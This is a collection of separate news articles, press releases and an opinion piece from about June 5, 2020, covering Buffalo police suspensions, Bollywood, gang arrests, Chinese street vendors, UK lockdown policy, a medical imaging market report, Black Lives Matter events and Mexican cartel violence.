A 7 Eyewitness News reporter captured video showing the aftermath of the incident. Protesters can be heard reacting to the man's fall. The man is now in stable but serious condition at Erie County Medical Center. 7 Eyewitness News has learned Buffalo Police Commissioner Byron Lockwood has ordered the suspension of the officers involved in the incident. -WKBW

Mayor Brown issued the following statement shortly after 11 p.m.:

Tonight, after a physical altercation between two separate groups of protesters participating in an illegal demonstration beyond the curfew, two Buffalo Police officers knocked down a 75-year-old man. The victim is in stable but serious condition at ECMC. I was deeply disturbed by the video, as was Buffalo Police Commissioner Byron Lockwood. He directed an immediate investigation into the matter, and the two officers have been suspended without pay. After days of peaceful protests and several meetings between myself, Police leadership and members of the community, tonights event is disheartening. I hope to continue to build on the progress we have achieved as we work together to address racial injustice and inequity in the City of Buffalo. My thoughts are with the victim tonight.

Governor Andrew Cuomo weighed in as well, tweeting "This incident is wholly unjustified and utterly disgraceful."

"I've spoken with Buffalo @MayorByronBrown and we agree that the officers involved should be immediately suspended pending a formal investigation."

This incident is wholly unjustified and utterly disgraceful.



I've spoken with Buffalo @MayorByronBrown and we agree that the officers involved should be immediately suspended pending a formal investigation.



Police Officers must enforce  NOT ABUSE  the law. https://t.co/EYIbTlXnPt  Andrew Cuomo (@NYGovCuomo) June 5, 2020

Really?

Investigate WHAT?



You have the video.



Fire them.  Kassandra Seven (@KassandraSeven) June 5, 2020

The New York ACLU also weighed in, saying in a statment "The casual cruelty demonstrated by Buffalo police officers tonight is gut-wrenching and unacceptable. Suspensions and an investigation are already in order, but there is little more we have to see to know what took place."
Mumbai, June 5 : Amitabh Bachchan is all praise for Shoojit Sircar, director of his upcoming digital release, "Gulabo Sitabo".

The veteran actor took to his blog to shower words of appreciation for the filmmaker.

"Shoojit Sarkar is no mean director .. he is many creative beings in one form of his body .. an alumni of the prestigious NSD - the National School of Drama, his acting qualities far outweigh his qualities as a Director .." wrote Amitabh Bachchan.

Talking about how much he depended upon the director during the film's shoot, Big B added: "His own personal briefings of the nature of his characters he brings up, are the results of the performances seen .. for me at least all that I do or seem to do, are Shoojit in prosthetic make up .. each little detail is brought out and suddenly there is an ease of the following that he wishes for .. we do what he enacts for us .. for me at least there is no individual output .. it is all his doing .. he tells , I follow .." The Bollywood superstar in his blog post, also spoke about the digital release of "Gulabo Sitabo", calling it a "novel experience".

"...12th of June Digital release of the film .. a first in India film History for a film of sizeable importance and worth .. not from my point of view - my point of view has become blurred and almost out of sight .. but yes for the others it is a novel experience and they hope as do we all that this fresh experiment brings in, true and honest fruits on the work that has been undertaken under some trying conditions .." he shared.

"Gulabo Sitabo" starring Amitabh Bachchan and Ayushmann Khurrana premieres on Amazon Prime Video on June 12.
STOCKHOLM - A Danish citizen allegedly involved in gang-related crime in southern Sweden, and killings and explosions in Spain, has been arrested in Dubai, a Swedish newspaper reported Friday.

Authorities in the United Arab Emirates confirmed the arrest of Amir Faten Mekky who had has eluded security forces across Europe for years. They said special forces raided Mekkys place of residence on June 4 in an early morning sting operation.

The statement added that preparations are underway to hand him over to the relevant authorities. It was not clear whether he was to be extradited and to which country.

The Swedish daily Expressen said the suspect had for long been rooted in Malmo  Swedens third largest city  where he has appeared in a handful of murder investigations over the past five years.

Expressen did not name him, in line with Swedish practice, but said the 23-year-old had earlier been detained in Malmo, a city that has seen scores of suburban feuds between criminal gangs. He was considered a suspect there in a March 2017 killing but was never prosecuted and two years later, received some 210,000 kronor ($22,700) in damages.

Spanish police confirmed the arrest in Dubai of a Danish citizen of Iranian origin who was wanted in Spain.

The National Police said in a statement that he was wanted for alleged involvement in two killings in southern Spain in 2018, one of a drug-trafficker gunned down as he left a family party and the other of a man fatally shot in his luxury villa. His gang also allegedly detonated two explosive devices in the area.

Though the statement did not name Mekky, it said police believe the arrested man was the head of a drug-running gang based in Sweden. The suspect was very hard to find, Spanish police said. After some of his gang were arrest in Spain, he fled first to Morocco, then to the UAE.

He was finally found after a joint investigation between Spain and Sweden, with help from Interpol, Europol, Thailand, Dubai and Qatar.

It is also believed that Mekky was wounded in a 2018 shooting in the Swedish city of Malmo, when three men were killed as the were leaving an internet cafe. Malmo police were not immediately aware of the arrest by the Dubai authorities.
A Singaporean man identified as the country's "most prolific" upskirter has been jailed after secretly filming hundreds of women, triggering calls for more action to promote gender equality in the low-crime nation.cri

The unnamed man, 35, was sentenced to two years and three months in prison after he pleaded guilty to taking nearly 1,400 illicit videos of women and children between 2003 and 2016 using his mobile phone, spy watches and spy pens.

The case comes as women's rights groups warned that digital sexual violence in tech-savvy Singapore, which has very low crime rates, has soared in recent years, with women disproportionately affected.

"He was remorseful for what he has done," his lawyer TM Sinnadurai told the Thomson Reuters Foundation by phone on Friday.

"He has taken the decision to serve his sentence," he said, adding that the man was not planning an appeal.

The man, who cannot legally be named to protect the identities of his victims, took upskirt photos of women on public transport, and secret videos in toilets, showers and changing rooms on more than 800 occasions.

He was eventually caught by a work colleague in 2016 after he tried to film her in a bathroom, leading to his arrest.

The man pleaded guilty and was sentenced on Thursday.

The prosecution called the case unprecedented and "by far the most prolific", broadcaster Channel News Asia reported.

From Britain to Germany and South Korea, there has been a flurry of cases in recent years involving the advancement and easy access to technology to sexually assault women.

These cases include illicit filming, distribution of nude photos and upskirting - the surreptitious filming or taking of photographs under girls' and women's clothes.

In Singapore, such cases nearly tripled between 2016 and 2018, according to a study published last year by Singapore's gender equality advocacy group AWARE.

"The figures in this case - the number of files the perpetrator amassed over 13 years - are shocking," said Shailey Hingorani, head of research and advocacy at AWARE.

She called for comprehensive sex education to raise awareness on gender equality.

"How many more women have to be hurt before we take concrete steps to teach men to have more empathy," she said.

Singapore last year passed new laws targeting online sexual abuse, including voyeurism, upskirting and unsolicited intimate images, or "cyber flashing" - with maximum jail sentences ranging from two to five years.

There were a few high-profile cases last year, including a university student who was filmed in the shower and several arrests made over the distribution of nude photos in an online chat group.
Secretary-General U Thant, Assembly-President Adam Malik and Under-Secretary-General Ca Etavropoulos at the United Nations General Assembly on Oct. 25, 1971, when communist China was voted to replace the Republic of China (Taiwan) as a member state of the U.N. (Keystone/Getty Images)

Reaping What We Sowed: CCP Virus Pandemic Is Our Wake Up Call

Commentary

One great positive development that could result from the CCP virus pandemic is the potential for the international community to finally wake up to the atrocities the Chinese Communist Party (CCP) has been committing since its inception.

For too long, the CCPs crimes against humanity have been ignored, and now were all reaping what we sowed.

It all started in 1971 at the United Nations when a critical vote was taken. I have a strong memory of that day, because as a child I remember my mother being so shaken and angry. I remember her presenting us, her children, a list of countries she had written out carefully on a yellow piece of paper in her beautiful script handwriting that we had to boycott because they had done something absolutely horrible.

It was Oct. 25, 1971, and these nations had just voted to have communist China replace the Republic of China as a member state of the United Nations. On that date, the ambassador to China of then-communist Albania, Reis Malile, whose country had introduced the resolution, gleefully pointed out that vote was a great defeat for the United States of America, while exalting the great Peoples Republic of China as a bastion of socialism and justice.

Giving communist China U.N. status began the ascent of a dictatorship that was propelled to greater and greater power as, during the succeeding decades, both Republican and Democratic administrations sold out the people of Chinaand the people of Americawith the false narrative that opening up to China economically would lead to China improving its human rights.

Although I was not able to boycott every country on that 1971 list, I was successful for my entire youth to never buy a single product made in communist China. Only as a young mother was I forced to break down on my boycott because I had two young sons who needed sneakers, and Converse All Stars had joined the many American companies who sold their souls (no pun intended) to communist China for cheap labor at the expense of the American worker and human rights concerns. You could no longer find a pair of sneakers that was made in America.

While our political elites were selling out to China, we repeatedly turned our backs on those who were suffering there. Another vivid memory I have is being at a meeting of conservative leaders to press then-White House Chief of Staff John Sununu on why then-President George Bush was selling out to the communists. It was bad enough that former President Jimmy Carter had given back most-favored nation status to China, which they had lost for invading Tibet and exiling the Dalai Lama. Was the United States also going to turn its back on the political prisoners in labor camps and the hundreds of students murdered in Tiananmen Square?

Sununu, who had just returned from a trip to China, assured us that there was no turning backChinas booming economy and our trade relationship was going to lead to reform! Yes, capitalism will lead the way forward!

How many times in subsequent years of both Republican and Democratic presidencies have we heard that sorry misleading statement, or the one China is on a peaceful rise?

One thing both the left and right in congress and the human rights community have been in unity about is concern about the CCP. We were all dismayed when the International Olympic Committee (IOC) picked Beijing for the 2008 Olympics. Again, the IOC assured that this would lead to China opening up to reform. Instead, the CCP intensified its police state.

While we skipped away to this fantasy, betraying our own American workers and international human rights concerns, how many Chinese and other citizens of the world suffered: 15 million were killed in Chinas labor camp system while another 40 million to 50 million suffered imprisonment there; the people of Tibet continue to suffer under brutal occupation; the Uyghurs of Xinjiang have at least 1 million and possibly as many as 3 million of their people jailed in concentration camps; and practitioners of Falun Gong since 1999 have been under brutal persecution, including hundreds of thousands imprisoned with many killed to harvest their organs.

So many Chinese heroes, from intellectuals like Charter 08 author Liu Xiaobo to labor activists like Wei Zhili, from lawyers like Gao Zhisheng to journalists like Zhang Wenmin, have been killed, jailed, or disappeared while tens of millions of girls have been aborted due to the CCPs One Child Policy, and abortions forced upon mothers who were pregnant with their second child.

The CCP has for decades brutally repatriated hundreds of thousands of North Korean men, women, and children back to North Korea to face certain torture and imprisonment and even death for simply wanting to survive. We have yet to calculate the death toll of North Koreans killed by Chinas repatriation policies.

The failure of the international community due to expediency and greed to address the suffering of the people of China is now clearly exposed for all to see in how the CCP unleashed the coronavirus on an unsuspecting world.

We may have turned our backs on the people of China, the Tibetans, the Uyghurs, Falun Gong practitioners, and the North Korean refugees, but now because we are reaping what we sowed, it is our chance to address this wrong and never again sacrifice the well-being of human beings to this brutal and evil dictatorship.

Suzanne Scholte is the president of the Defense Forum Foundation, which has hosted many Chinese dissidents on Capitol Hill since the 1990s.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
In the wake of the global Black Lives Matter movement against racism in the US and other parts of the world, Kenyans too have been jumping on the bandwagon to share their experiences with racism.

On Thursday, we published a story of Julie Gichurus encounter with a White Guy Who Believed Black People are Dirty, Lazy Criminals.

We have also seen a number of Kenyans on social media calling out the Indian community in Kenya over racism.

And today, we feature a story by a supposed former student of Peponi High School who shared her experience with racism on Twitter.

NairobiWire could not independently verify these claims.

The tweep, through her Twitter handle @rnbfayz, recalled that upon arrival at the British system institution about 10 years ago, she and other Black students were ridiculed by white and Indian students for being ghetto.

Upon arrival, a few students and I were ridiculed by other white and indian students for being ghetto && coming from ghetto schools. FYI, I was in Braeside High School. Another British system school. But you know because black people are the majority, its ghetto, she wrote.

The tweep recalled an incident where her cousin who was in the boys boarding section of the learning institution was bullied by older white boys.

A few days in my younger cousin who was in the boys boarding section complains to me because these older mixed, and white boys bullied him through torturous activities in the dorms. I confronted the older boys about it, again, I was called ghetto and ratchet. Lol.

Mungu ni Mzungu Chants

In another alleged racist incident, @rnbfayz recalled how during the Obama and John McCain political battle, white students would walk around the school chanting, Mzungu ni Mungu.

How could I forget! When it was Obama vs John McCain, these white students walked around the school chanting Mzungu ni Mungu while shoving McCain posters in black students faces. Teachers were aware. School was aware. mzungu ni mungu means the white man is GOD in Swahili, she tweeted.

I say all this to say that systemic racism is very much alive. This was 10 years ago. I really wonder whats going on there today.

Lets be honest, how many white-run schools in Kenya encourage this type of behaviour and laugh it off as funny and expressive? This was about 10 years ago. Some of these schools that took so much money from black parents in Kenya created racist pigs and protected them, she added.

Read the full thread in the screengrabs below.
Cities across China have been rolling out policies to encourage the return of street vendors, where stall operators and mobile vendors sell food and small commodities on streets and other public spaces.

At least 27 cities have rolled out these policies, according to a tally by China News Service.

Though the State Council technically allows certain street vendors at designated places and during certain time of the day, unregistered street sellers are prohibited due to concerns such as food safety and city beautification. As a result, scenes of hawkers laying out goods in carts or over cloth on the ground have largely disappeared from major cities over recent years.

However, at a press conference during China's recently concluded "two sessions," Chinese Premier Li Keqiang praised the city of Chengdu in west China for creating 100,000 jobs by setting up 36,000 mobile stalls, signaling an encouragement of reviving street vendoring. During a tour to Shandong province earlier this week, Li visited a local stall, and said that the "stall economy" provides a key source for jobs and demonstrates the vibrancy of China.

A state authority also announced in late May to not include into city assessments street vendors who occupy public spaces, roadside markets, and mobile vendors. The announcement was seen as a way to restore social and economic order and meet people's living needs.

"Street vendor economy has always been a 'gray area' of China's urban economy. It has alleviated the employment pressure to some extent, driven the development of the tertiary industry, as well as invigorated the market and stimulated economic growth," said Ying Xiwen of a think tank under the China Minsheng Bank.

The Chinese economy has been dampened by the COVID-19 pandemic. Its GDP contracted 6.8% in the first quarter, a record low in years.

Chengdu was one of the first cities across China to loosen restrictions on street stalls. In mid-March, the city issued measures to allow the operation of street stalls and mobile vendors. Shops and restaurants were also allowed to extend their operating space to outside their stores.

As of May 22, a total of 2,234 new stalls had been set up in Chengdu, 17,748 stores allowed to extend to outside space, and the work resumption rate in restaurants in the downtown area reached 98%, according to Sichuan Daily.

In Wuhan, where its consumer spending such as restaurants and hotels were hit the hardest by the outbreak, the five-star Sheraton Hotel has recently extended barbecue services to roadside areas, helping both to restore business and maintain social distance. Other cities of Hubei province have issued policies to spur the street vendor economy and nighttime economy.

Meanwhile, China's tech giants are offering help. Alibaba's wholesale marketplace 1688.com issued a plan in late May to connect street sellers directly with factories, while offering stall operators with a total of 70 billion yuan of interest-free loans. WeChat's payment platform followed suit on Tuesday to help small businesses with digitalization, as well as offer them business guidance and marketing support.

While praising the street vendors for reviving the economy and creating jobs, some experts have also cautioned against potential problems such as city environment, product quality, food safety, and impediment to traffic.
Source: Xinhua| 2020-06-05 18:16:30|Editor: huaxia

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LAGOS, June 5 (Xinhua) -- The Nigerian government has received test kits and a PCR machine from the International Atomic Energy Agency (IAEA) as part of the efforts to combat the spread of COVID-19, an official said Friday.

Boss Mustapha, chairman of the Presidential Task Force on COVID-19, who disclosed this in a statement reaching Xinhua in Lagos, said the country has continued to receive support from development partners and expressed appreciation for the gesture.

He added that the equipment would go a long way in boosting the nation's capacity to fight the pandemic. Enditem
(Alliance News) - The UK government wants to take a "more localised" approach to implementing lockdown measures to contain regional outbreaks of coronavirus, the Health Secretary has said.

Speaking at the daily Downing Street briefing on Friday, Matt Hancock pointed to measures recently successfully introduced in Weston-Super-Mare in Somerset to control a flare-up of Covid-19 in a hospital.

New data from Public Health England suggests that the reproductive rate of coronavirus is now around one in the north-west and south-west of England, while it is below one in other English regions.

The so-called R value refers to the average number of people that will contract coronavirus from an infected person.

If it is one or higher, the virus will spread exponentially through the population, while a value less than one indicates the virus is in decline.

When questioned by journalists on the latest figures, Hancock highlighted that experts on the Scientific Advisory Group for Emergencies believe the UK's overall number is below one, but added that local lockdowns would be used when outbreaks are spotted.

He told the briefing: "You're right that the R is closer to one in the South West and in the North West, the advice from Sage is that R is below one in all regions.

"However, we want to increasingly have an approach in tackling local lockdowns where we spot a flare-up.

"We've been doing this over the last few weeks, for instance there was a flare-up in Weston-super-Mare which we successfully got under control."

Weston General Hospital in the seaside town stopped accepting new patients and closed its accident and emergency department from May 25 after a number of staff tested positive for coronavirus.

The University Hospitals Bristol and Weston NHS Foundation Trust, which runs the hospital, said an initial round of testing the majority of its 1,700 staff suggested approximately 6% were asymptomatic and infected.

Meanwhile, North Somerset Council had contacted all schools in the area advising them to delay reopening until June 8 as a precautionary measure.

Testing of all patients continued and no new cases had been identified on non-Covid-19 wards.

On Thursday, the trust's chief executive Robert Woolley said it continued to see no evidence of in-hospital transmission and hoped to reopen services "as soon as possible".

Public health officials have also said there was no evidence of a community spread of the virus from the hospital.

The number of cases across North Somerset has risen in recent weeks but the rate per 100,000 people is still below the England average, North Somerset Council said on Thursday.

Responding to journalists on Friday, Hancock emphasised that the PHE data suggesting a higher R number in some regions needed to be looked at "in the round" with other data.

He said: "The discussion of the higher R in the North West and the South West that's estimated compared to the rest of the country is an important part of moving towards a more localised approach rather than a national approach to the lockdown.

"It's very important that you look at all of these studies in the round.

"The study you mentioned is one, but the overall assessment that is brought together by Sage that advises the chief medical officer is the one that I look at."

Hancock added: "What I do is look at all of these different studies and the overall view of Sage is that the R is between 0.7 and 0.9 and it is higher in the south-west of England and the north-west but it remains below 1 in each area.

"That doesn't take away from the need that we spot and crack down on localised outbreaks."

By Tom Pilgrim, PA

source: PA

Copyright 2020 Alliance News Limited. All Rights Reserved.
Source: Xinhua| 2020-06-05 18:32:56|Editor: huaxia

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CAPE TOWN, June 5 (Xinhua) -- President Cyril Ramaphosa has signed into law the Promotion of Access to Information Amendment Act (PAIA) which strengthens scrutiny of political funding, his office said on Friday.

The PAIA gives citizens access to information about funding for political parties, presidential spokesperson Khusela Diko said.

Under the Act, information on the private funding of political parties and independent candidates must be recorded, preserved and disclosed so as to ensure transparency and accountability.

The records must be kept for at least five years after they have been created, according to the Act.

In a ruling on June 21, 2018, the Constitutional Court declared that the Promotion of Access to Information Act of 2000 is invalid and unconstitutional as it does not provide for disclosure of information about the private funding of political parties and independent candidates.

The court ordered Parliament to make necessary amendment to bring the Act in line with the Constitution and to take any other measures it deems appropriate.

Based on this ruling, Parliament's Portfolio Committee on Justice and Correctional Services put forward an amendment proposal last year, with support from the Department of Justice and Constitutional Development.

Both Houses of Parliament approved the amendment last year.

The amendment is expected to address concerns about over-reliance by political parties on private donations as well as the secrecy that clouds political party financing.

There have been concerns that the secrecy that clouds political party financing could damage democratic processes and lead to a manipulation of public policy positions in favor of certain private funders.

Since the end of apartheid in 1994, political parties in the country have been united in refusing to open their books, fueling concerns that anonymous donations from masked sources subvert democratic processes, lead to a manipulation of public policy positions in favor of those private interests and dilute the voice of citizens. Enditem
Syracuse, N.Y. -- Sakia Daye sits on the steps of the abandoned Central Tech High School. A homeless man who had been sleeping a few feet away begins to stir.

For most of the week, Daye has been a loud, continuous voice in Syracuses protests against police brutality. She has been livestreaming the protests and her thoughts about them on Facebook.
Dockworkers at the Rivers ports in Port Harcourt have commended President Muhammadu Buhari for his commitment to due process, leading to reopening the BUA Terminals, which was shut down last year by the Nigerian Ports Authority (NPA).

The terminal was shut down in a move challenged by BUA at the time, and decried by maritime stakeholders.

The workers in their numbers took to the docks of Port Harcourt to thank key stakeholders for their timely intervention in the crisis between the BUA Ports and Terminals and the NPA which halted business activities at the terminal B.

Addressing the dockworkers at the rally, a National Trustee of the dockworkers branch of the Maritime Workers Union of Nigeria, Waite Harry a praised the President for his commitment to due process, which ultimately led to the withdrawal of the notice of termination issued to BUA Ports & Terminals, in line with the concession agreement.

The government also directed both parties to resolve all outstanding issues in line with the concession agreement, discontinue the pending arbitration in London, and reopen the BUA terminals immediately.

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According to Comrade Harry, this action has saved the jobs of many dockworkers whose only source of livelihood comes from working here. The resolution of the crisis has changed our status from being prisoners of hope due to untold hardship dockworkers faced over the inability of ships to berth at the BUA terminals.

We must also appreciate the Management of BUA Ports & Terminals who continued to support us monthly throughout this period. We are happy that we can now return back to our work through this gesture by the FG which will also bring economic prosperity to the state and the nation in general.

I hope that all outstanding issues can now be resolved by both parties amicably, he added.

Recall that in 2019, the NPA issued a notice of termination to BUA Ports and Terminals, concessionaires of the Rivers Ports Terminal B in a move that BUA said was illegal and ran contrary to the concession agreement.

Meanwhile, the management of BUA Ports and Terminals, a subsidiary of BUA Group, has disclosed plans to resume operations at the BUA Terminals within the Rivers Ports. This is as the Nigeria Port Authority (NPA) is set to immediately withdraw the notice of termination of concession it had earlier issued BUA in 2019.

BUA had in a statement on Wednesday expressed readiness to resume operations at the reopened terminal soon.

The statement reads: We are pleased to inform our stakeholders and the public that we have received official communication to the effect that;

The notice of termination issued by the Nigerian Ports Authority (NPA) sometime last year against our Rivers Ports-based BUA Ports & Terminals be withdrawn forthwith; The ongoing arbitration at the London Court of International Arbitration (LCIA) be discontinued, and; The BUA terminals be reopened immediately for operations.

This decision is in line with our earlier and consistent stand that all parties respect the content and spirit of the concession agreement for the facility.

We also want to thank you unequivocally  our dear customers, employees, dockworkers and other stakeholders for your patience, support, and for keeping faith with us throughout this period.

BUA remains committed and has put in place structures to develop a best-in-class terminal at the Rivers Ports to serve not only users of the Rivers Ports but also, the recently constructed $400million foods manufacturing complex adjacent to the terminal.

BUA remains a law-abiding corporate citizen and is looking forward to working with the management of the Nigerian Ports Authority in resolving any outstanding issues and making the Eastern Ports one of the best in the country.

BUA wishes to express its most sincere appreciation to all stakeholders for their successful intervention and mediation. Their intervention has saved jobs, protected huge investments and prevented potential judgement losses running into hundreds of millions of dollars from being incurred by either the country or our company in the arbitration process at the LCIA in London which is set to be discontinued.

We look forward to kick-starting operations at the BUA Terminals to once again provide the excellent services that have become the trademark of our BUA brand, the statement concluded.
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Global 3D medical imaging market was valued US$ 15.9 Bn in 2017 and is expected to reach US$ 30.3 Bn by 2026, at a CAGR of 8.39 % during a forecast period.



3D medical imaging market is used to create visual representations of the interior body by utilizing 3D imaging modalities such as a computed tomography scanner, and X-ray and it helps to the doctors inaccurate diagnosis as well as used for clinical analysis & medical intervention.



The growth factors in the global 3D medical imaging market are the growing adoption of minimally invasive procedures and rising prevalence of chronic diseases. New advances in imaging technologies in surgical systems such as O-arm surgical imaging systems, rising demand for robotic-assisted surgery systems & endoscopy devices. The growing prevalence of chronic disease releases key opportunities for 3D medical imaging market. Stringent regulatory framework & clinical trials with high installation & maintenance costs are limiting the 3D medical imaging market. However, the insufficiency of 3D contents, and lack of medical infrastructure, mainly in the developing economies are also restraining the market growth.

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Magnetic resonance imaging, a computer produces a wide range of photos of the internal body part by using the powerful magnetic field and radio waves. Computed tomography uses sophisticated x-ray technology for detecting a variety of diseases and conditions of the body.



The on-premise based 3D medical imaging platform is being used in the premises of healthcare facilities such as hospitals and clinics. The cloud-based 3D medical imaging platform supports 3-dimensional observing of medical & surgical images in case of surgery. The web-based 3D medical imaging platform enables the doctors, radiologists, physicians to uniquely manage their medical diagnostic display workstations from everywhere across the globe.



Oncology is the fastest growing segment owing to the rising cancer cases and the associated diagnostic procedures conducted. The diagnostic centreas segment has led the market and accounted for nearly 58% of the market share. The 3D medical imaging is more used in diagnostic centers compared to hospitals owing to most hospitals have a limited budget, & 3D medical imaging systems are expensive, thus hospitals depend on medium-sized diagnostic centers for 3D imaging. Diagnostic centers have skilled staffs & radiologists who are a physician.



The rising number of surgeries, increasing the prevalence of chronic disease, and the growing adoption of the hybrid operating room by hospitals across North America is expected to hold the largest market during the forecast period. Moreover, the increasing geriatric population is also contributing to the progress of the North America 3D medical imaging market.



The key players operating in the global 3D medical imaging market are GE Healthcare, Hitachi, Medical Corp., Philips Healthcare, Analogic, ContextVision, EOS Imaging, Esaote, Fuel 3D Technologies, FUJIFILM Medical System, Gendex, Hologic, Imaging Sciences International, Intelerad Medical System, Intrasense, Mindray Medical International, Mithil Scans, J. Morita, Planmeca, Samsung Medison America, Shimadzu, Siemens Healthcare, Sirona, SOREDEX, Tomtec Imaging Systems, Toshiba Medical Systems, and Viking Systems.



The Scope of Global 3D Medical Imaging Market:

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Global 3D Medical Imaging Market, by Components:



Hardware



Softwareas



Services



Global 3D Medical Imaging Market, by Technology:



Anaglyphy



Stereoscopy



Auto-stereoscopy



Holography



Volumetric display



X-ray



ultrasound



(MRI) Magnetic Resonance Imaging



(CT) Computed Tomography scan



Global 3D Medical Imaging Market, by Deployment:



On-premise based platform



Cloud-based platform



Web-based platform



Global 3D Medical Imaging Market by Application:



Oncology



Cardiology



Orthopedic



Other application



Global 3D Medical Imaging Market by End-users:



Hospitals



Ambulatory & healthcare centers



Diagnostic centers



Research centers



Global 3D Medical Imaging Market, by Region:



North America



Europe



Middle East & Africa



Asia Pacific



Latin America



The Key Players Operating In the Global 3D Medical Imaging Market:



GE Healthcare



Hitachi Medical Corp.



Philips Healthcare



Analogic



ContextVision



EOS Imaging



Esaote



Fuel 3D Technologies



FUJIFILM Medical System



Gendex



Hologic



Imaging Sciences International



Intelerad Medical System



Intrasense



Mindray Medical International



Mithil Scans



J. Morita



Planmeca



Samsung Medison America



Shimadzu



Siemens Healthcare



Sirona



SOREDEX



Tomtec Imaging Systems



Toshiba Medical Systems



Viking Systems.

More Info of Impact Covid19@ https://www.trendsmarketresearch.com/report/covid-19-analysis/6080
[June 05, 2020] Ameriprise Financial Announces New Grants and Connects Employees and Advisors to Volunteer Opportunities in a Time of Crisis

Ameriprise Financial (NYSE: AMP), along with its subsidiary, Columbia Threadneedle Investments, is adapting its longstanding volunteer program so its employees and advisors can give back to communities that face immediate need while adhering to local health and safety guidelines. As the firm approaches its annual National Day of Service, which in past years brought together thousands of volunteers to work side-by-side at food banks, Ameriprise is decentralizing the event and encouraging employees and advisors to show kindness to their friends, neighbors and community members by participating in activities like cleaning up streets, delivering groceries and thanking healthcare workers. Time spent on acts of kindness is eligible for the eight hours of paid time off employees receive each year for volunteerism. "Between the COVID-19 pandemic, George Floyd's tragic death and the ongoing racial injustice black and minority Americans face, communities in the U.S. and around the world are hurting," said Brian Pietsch, head of Community Relations at Ameriprise. "At the same time, we're seeing people who want to come together to help but don't know exactly where to turn. I'm proud of the way we've been able to evolve our volunteer efforts to help nonprofits and bring a sense of togetherness to our communities at large as well as our employees and advisors." In addition, Ameriprise financial advisors will host virtual food drives across the country throughout the month of June in partnership with Feeding America and other local food banks in their communities. Company announces additional $300,000 in donations to help communities Ameriprise has a long history of supporting low income and diverse communities and is committed to being part of the solution in Minneapolis and across the country. To provide immediate support in Minneapolis, the firm is announcing a $150,000 donation split equally between the following: Northside Achievement Zone (NAZ), which aims to address multi-geerational poverty

multi-geerational poverty The Minneapolis Foundation Fund for Safe Communities, which supports justice and equity

justice and equity Twin (News - Alert) Cities Rebuild for the Future Fund via The Minneapolis Foundation, which will work to rebuild small businesses in corridors directly impacted by the unrest in Minneapolis.



here. About Ameriprise Financial

At Ameriprise Financial, we have been helping people feel confident about their financial future for more than 125 years. With a network of approximately 10,000 financial advisors and extensive asset management, advisory and insurance capabilities, we have the strength and expertise to serve the full range of consumer financial needs. For more information, visit ameriprise.com. About Ameriprise Financial Community Relations Ameriprise Financial is dedicated to utilizing the firm's resources and talents to improve the lives of individuals and build strong communities. Through grants, volunteerism and employee and advisor gift matching programs, the company supports a diverse group of over 7,500 nonprofits across the country. In 2019, Ameriprise employees and advisors contributed nearly 100,000 volunteer hours to nonprofits nationwide. About Feeding America Feeding America is the largest hunger-relief organization in the United States. Through a network of 200 food banks and 60,000 food pantries and meal programs, they provide meals to more than 40 million people each year. Feeding America also supports programs that prevent food waste and improve food security among the people they serve; educates the public about the problem of hunger; and advocates for legislation that protects people from going hungry. Individuals, charities, businesses and government all have a role in ending hunger. Donate. Volunteer. Advocate. Educate. Together we can solve hunger. Visit www.feedingamerica.org, find us on Facebook (News - Alert) or follow us on Twitter. 1Source: Feeding America data as of May 28, 2020 View source version on businesswire.com: https://www.businesswire.com/news/home/20200605005479/en/

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Rome demonstration on 7 June to protest against racism.

Rome will host a Black Lives Matter demonstration on Sunday 7 June in the central Piazza del Popolo at 11.00.

Organisers, Women's March Rome and Denise Fuja Berhane, are holding the event "to protest the murder of George Floyd and the systemic racism that keeps African Americans from living fully free lives in America."

The organisers also say they will "stand in solidarity with victims of racial oppression in Italy and send the message to Italian leaders that this will not be tolerated."

Organisers say it is a non-violent protest, asking people to "come with your signs and your passion, but no weapons."

Those interested in attending are reminded that masks and social distancing (2 metres apart) are obligatory.

For full details see BLM Protest page on Facebook.
Leader of the Jalisco New Generation Cartel was shot dead during a live concert in the Veracruz City on Friday night, according to a recently published article.

Illegal Activities of Jalisco New Generation Cartel

The Jalisco New Generation Cartel is the second most powerful and notorious organized crime group in Mexico who is responsible for shipping a bulk of fentanyl in the United States along with the Sinaloa cartel.

El Mencho, the cartel's big boss, is still remained hiding but the U.S. DEA issued already a hunt advisory for the El Mencho and offered a bounty of $10 million for anyone who can give any information about his location. However, it is believed that the leader is still in Mexico and is guarded by heavily armed men.

In a recently published article by Latin Post, El Mencho hired a group of an assassin called as Los 28 to kill the sons of El Chapo who are running their rival and most powerful cartel in Mexico and the U.S., the Sinaloa cartel.

CJNG Regional Leader Shots Dead

Francisco Navarette Serna, an alleged regional leader of CJNG, was shot and killed by armed assailants during a live concert in Veracruz City on Friday night. The incident was posted through Facebook by El Sol de Tierra Blanca local news outlet that Serna owns.

Until now, it still remained unknown the reason of the assailants for killing Serna. However, it can be recounted that Serna and his son were imprisoned in 2016 because of their involvement in the forced disappearance of five young people.

Police authorities reportedly alleged that the five young persons abducted were tortured and killed in a property with links to Serna. At this time, they are now seeing the possibility that the shooting and killing of Serna might have a connection to one of his previous criminal acts.

Meanwhile, CJNG experienced different two of its biggest blows this year. First, 600 members of their cartel were arrested in a joint effort by DEA and Mexican Police earlier this month. And second, 12 members of their cartel were tortured and burnt into fire by their another rival cartel.

Nearly 2,000 and $1.1 Billion Assets of CJNG Frozen

Days after the death of Serna, 2,000 bank accounts that have ties to CJNG including their assets that worth $1.1 billion were frozen by the Mexican financial authorities. This was made possible through a joint effort by Mexican officials and U.S. DEA.

Mexican Finance Ministry's Financial Intelligence Unit Chief Santiago Nieto Castillo said that around nearly 2,000 accounts that were linked to the Jalisco New Generation Cartel were blocked including 167 legal entities.

Castilo said that the U.S. DEA provided that information on the bank account but they did not give any information as to how much money is involved.

Moreover, President Andres Manuel Lopez Obrador also confirmed that the crackdown was led by Mexico's Ministry of Finance anti-money laundering unit and U.S. DEA. He also added that there was a request from the U.S. government because they hold information about the group's thousands of accounts.

Obrador said: "There will no longer be protection for any organized crime group; I will continue facing organized crime to maintain peace in the country."

Read related articles:
The government submitted to parliament an action plan to restore the economy. On Thursday, the Rada sent it back for revision, refusing to provide the Cabinet, led by Denys Shmyhal, 12-month immunity from resignation. Is there a future for the program of "healthy economic nationalism"?

It seems that the plan that the Cabinet Action Program will be quickly approved by people's deputies has failed. The Cabinet couldnt seal 12-month immunity from dismissal, which the Constitution grants any government if such a document is approved.

On Thursday, Ukraine's Parliament, at the request of the prime minister himself, sent the Program for revision by its authors. President Volodymyr Zelensky also said the governments program had to be improved since it had been developed when no one was expecting the corona pandemic.

